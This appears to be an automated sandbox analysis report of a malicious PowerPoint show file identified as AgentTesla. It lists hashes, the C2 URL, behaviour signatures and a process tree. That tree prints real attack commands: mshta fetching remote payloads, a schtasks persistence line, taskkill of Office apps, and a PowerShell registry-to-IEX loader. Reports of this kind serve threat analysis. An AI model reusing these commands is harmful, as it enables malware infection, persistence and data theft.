Analysis

  • max time kernel
    135s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    22-04-2021 06:19

General

  • Target

    PO944888299393.pps

  • Size

    77KB

  • MD5

    858604f0166fa58fe09e96988a87477c

  • SHA1

    bed0b866c6b8cc1048153b22e96a51f464d6582b

  • SHA256

    18b7a818fd88133d309ce7191e9c3eb85a3b31d0bbaf2c08df0f1cbdc26a7513

  • SHA512

    d05a52ed607c6b96875428b8f3aa379c5460db17e6480e5bb3bfbdf0ba72fd895acb523b846413e99ca1d056a371462df94ca1556cd98ac2e1f0be1144da596d

Malware Config

Extracted

Family

agenttesla

C2

http://103.133.105.179/909/inc/29e2365d4334a8.php

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • AgentTesla Payload 3 IoCs
  • Blocklisted process makes network request 18 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\PO944888299393.pps"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1820
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2044
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://www.j.mp/djaksldqowdihjdam
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1700
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%[email protected]/p/9.html""\"", 0 : window.close"\")
          3⤵
          • Creates scheduled task(s)
          PID:1716
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1940
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im winword.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1576
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        #cmd
        2⤵
        • Drops file in Drivers directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:556

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

      MD5

      0d26600f15c041e83ed6d0d024753fd9

      SHA1

      a62cffc260b4451f7e23290e3f2dc28db1feb2ec

      SHA256

      9173795f9562f397bc82e2701e791be2a6fec21a2adb2c990e63ee6bb1ece9d2

      SHA512

      05c2d7b395cff156cb7cd00f4b6fcee75d1c684ca2b9a911668caa11a1fd45a350ebb01cdc6de207863dcea191651ba5efca411d4a45500116c48bdd5a61e5c8

    • memory/556-84-0x0000000000400000-0x000000000043C000-memory.dmp

      Filesize

      240KB

    • memory/556-89-0x0000000004961000-0x0000000004962000-memory.dmp

      Filesize

      4KB

    • memory/556-88-0x0000000004960000-0x0000000004961000-memory.dmp

      Filesize

      4KB

    • memory/556-86-0x0000000000400000-0x000000000043C000-memory.dmp

      Filesize

      240KB

    • memory/556-85-0x0000000000437D8E-mapping.dmp

    • memory/936-76-0x0000000000000000-mapping.dmp

    • memory/1576-71-0x0000000002410000-0x0000000002411000-memory.dmp

      Filesize

      4KB

    • memory/1576-78-0x000000001AA80000-0x000000001AA81000-memory.dmp

      Filesize

      4KB

    • memory/1576-70-0x000000001ADD0000-0x000000001ADD1000-memory.dmp

      Filesize

      4KB

    • memory/1576-82-0x000000001B680000-0x000000001B682000-memory.dmp

      Filesize

      8KB

    • memory/1576-81-0x0000000002670000-0x0000000002674000-memory.dmp

      Filesize

      16KB

    • memory/1576-74-0x000000001AD54000-0x000000001AD56000-memory.dmp

      Filesize

      8KB

    • memory/1576-73-0x000000001AD50000-0x000000001AD52000-memory.dmp

      Filesize

      8KB

    • memory/1576-83-0x000000001B840000-0x000000001B852000-memory.dmp

      Filesize

      72KB

    • memory/1576-79-0x000000001B9C0000-0x000000001B9C1000-memory.dmp

      Filesize

      4KB

    • memory/1576-77-0x0000000001E40000-0x0000000001E41000-memory.dmp

      Filesize

      4KB

    • memory/1576-69-0x00000000024C0000-0x00000000024C1000-memory.dmp

      Filesize

      4KB

    • memory/1700-66-0x0000000076641000-0x0000000076643000-memory.dmp

      Filesize

      8KB

    • memory/1700-65-0x0000000000000000-mapping.dmp

    • memory/1700-75-0x0000000004A80000-0x0000000004B20000-memory.dmp

      Filesize

      640KB

    • memory/1716-68-0x0000000000000000-mapping.dmp

    • memory/1820-60-0x0000000074531000-0x0000000074535000-memory.dmp

      Filesize

      16KB

    • memory/1820-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1820-61-0x00000000716D1000-0x00000000716D3000-memory.dmp

      Filesize

      8KB

    • memory/1940-72-0x0000000000000000-mapping.dmp

    • memory/2044-64-0x000007FEFBED1000-0x000007FEFBED3000-memory.dmp

      Filesize

      8KB

    • memory/2044-63-0x0000000000000000-mapping.dmp